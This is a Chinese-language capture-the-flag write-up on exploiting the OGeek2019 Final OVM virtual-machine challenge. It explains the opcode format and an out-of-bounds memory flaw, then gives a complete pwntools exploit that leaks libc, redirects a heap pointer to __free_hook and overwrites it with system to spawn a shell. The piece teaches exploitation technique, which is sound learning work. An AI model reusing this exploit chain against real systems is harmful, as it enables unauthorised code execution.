一道题目学习VMpwn
原理
VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:
- 初始化分配模拟寄存器空间(reg)
- 初始化分配模拟栈空间(stack)
- 初始化分配模拟数据存储空间(data)
- 初始化分配模拟机器指令(opcode)空间(text)
[OGeek2019 Final]OVM
程序采用32bit定长指令,每个操作码、操作数均为8bit,其格式为:
| opcode | dst | op1 | op2 |
程序具体指令参考如下:
opcode | 含义 | 指令 |
---|---|---|
0x10 | reg[dst]=op2 | mov |
0x20 | op2==0?reg[dst]=1:reg[dst]=0 | test |
0x30 | reg[dst]=memory[reg[op2]] | mov reg1,[reg2] |
0x40 | memory[reg[op2]]=reg[dst] | mov [reg1],reg2 |
0x50 | stack[rsp]=reg[dst];rsp=rsp+4; | push |
0x60 | rsp=rsp-4;reg[dst]=stack[rsp]; | pop |
0x70 | reg[dst] = reg[op2] + reg[op1] | add |
0x80 | reg[dst]=reg[op1]-reg[op2] | sub |
0x90 | reg[dst] = reg[op2] & reg[op1] | and |
0xa0 | reg[dst] = reg[op2] | or |
0xb0 | reg[dst] = reg[op2] ^ reg[op1] | xor |
0xc0 | reg[dst] = reg[op1] << reg[op2] | |
0xd0 | reg[dst] = reg[op1] >> reg[op2] | |
0xe0 | exit+printf |
程序利用思路
- 如下图,程序在内存读写的时候,均没有对输入的值做边界检查,如存在oob,可以利用该漏洞实现任意地址的读写,如读取got泄露libc
- 在这个程序里可以memory地址为0x202060,程序申请了glibc堆空间,该堆地址保存在comment处(地址0x202040),且用户可向该空间写入任意数据,故可以改写comment指向free_hook-0x8,填充free_hook为system,getshell
- 参考LOW博客,通过oob将stderror地址放入寄存器,通过偏移计算freehook,并将freehook填入comment,利用exit+printf泄露libc,得system地址,改写freehook为system从而获取shell
exp
from pwn import *
#r = remote("node3.buuoj.cn", 29381)
r = process("./pwn")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xCFE)
x/10gx $rebase(0x242060)
c
''')
elf = ELF("./pwn")
#libc = ELF('/home/hhh/桌面/heap/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libc=elf.libc
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
log.success("malloc:"+hex(libc.sym[b'malloc']))
log.success("system:"+hex(libc.sym[b'system']))
log.success("free_hook:"+hex(libc.sym[b'__free_hook']))
def code_generate(code, dst, op1, op2):
res = code<<24
res += dst<<16
res += op1<<8
res += op2
return res
r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0, 0, 26))) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 2, 0, 1))) #reg[2] = memory[reg[1]] #stderror地址的低4bytes
r.sendline(str(code_generate(0x10, 0, 0, 25))) #reg[0] = 25
r.sendline(str(code_generate(0x10, 1, 0, 0))) #reg[1] = 0
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 3, 0, 1))) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
r.sendline(str(code_generate(0x10, 4, 0, 1))) #reg[4] = 1
r.sendline(str(code_generate(0x10, 5, 0, 12))) #reg[5] = 12
r.sendline(str(code_generate(0xC0, 4, 4, 5))) #reg[4] = reg[4]<<reg[5]#reg4=0x1000
r.sendline(str(code_generate(0x10, 5, 0, 0xA))) #reg[5] = 0xA
r.sendline(str(code_generate(0x10, 6, 0, 4))) #reg[6] = 4
r.sendline(str(code_generate(0xC0, 5, 5, 6))) #reg[5] = reg[5]<<reg[6]
r.sendline(str(code_generate(0x70, 4, 4, 5))) #reg[4] = reg[4]+reg[5]#reg4=0x10a0
r.sendline(str(code_generate(0x70, 2, 4, 2))) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x10a8,这里使用0x10a0,求得freehook-0x8的位置
r.sendline(str(code_generate(0x10, 4, 0, 8))) #reg[4] = 8
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 2, 0, 5))) #memory[reg[5]]=reg[2] #改comment指向free_hook
r.sendline(str(code_generate(0x10, 4, 0, 7))) #reg[4] = 7
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 3, 0, 5))) #memory[reg[5]]=reg[3]
r.sendline(str(code_generate(0xE0, 0, 1, 1))) #exit
r.recvuntil("R2: ")
low = int(r.recvuntil('\n').strip(), 16) + 8
r.recvuntil("R3: ")
high = int(r.recvuntil('\n').strip(), 16)
free_hook = (high<<32)+low
log.success("free_hook:"+hex(free_hook))
libc.address = free_hook - libc.sym[b'__free_hook']
system = libc.sym[b'system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline(b'/bin/sh\x00'+p64(system))
r.interactive()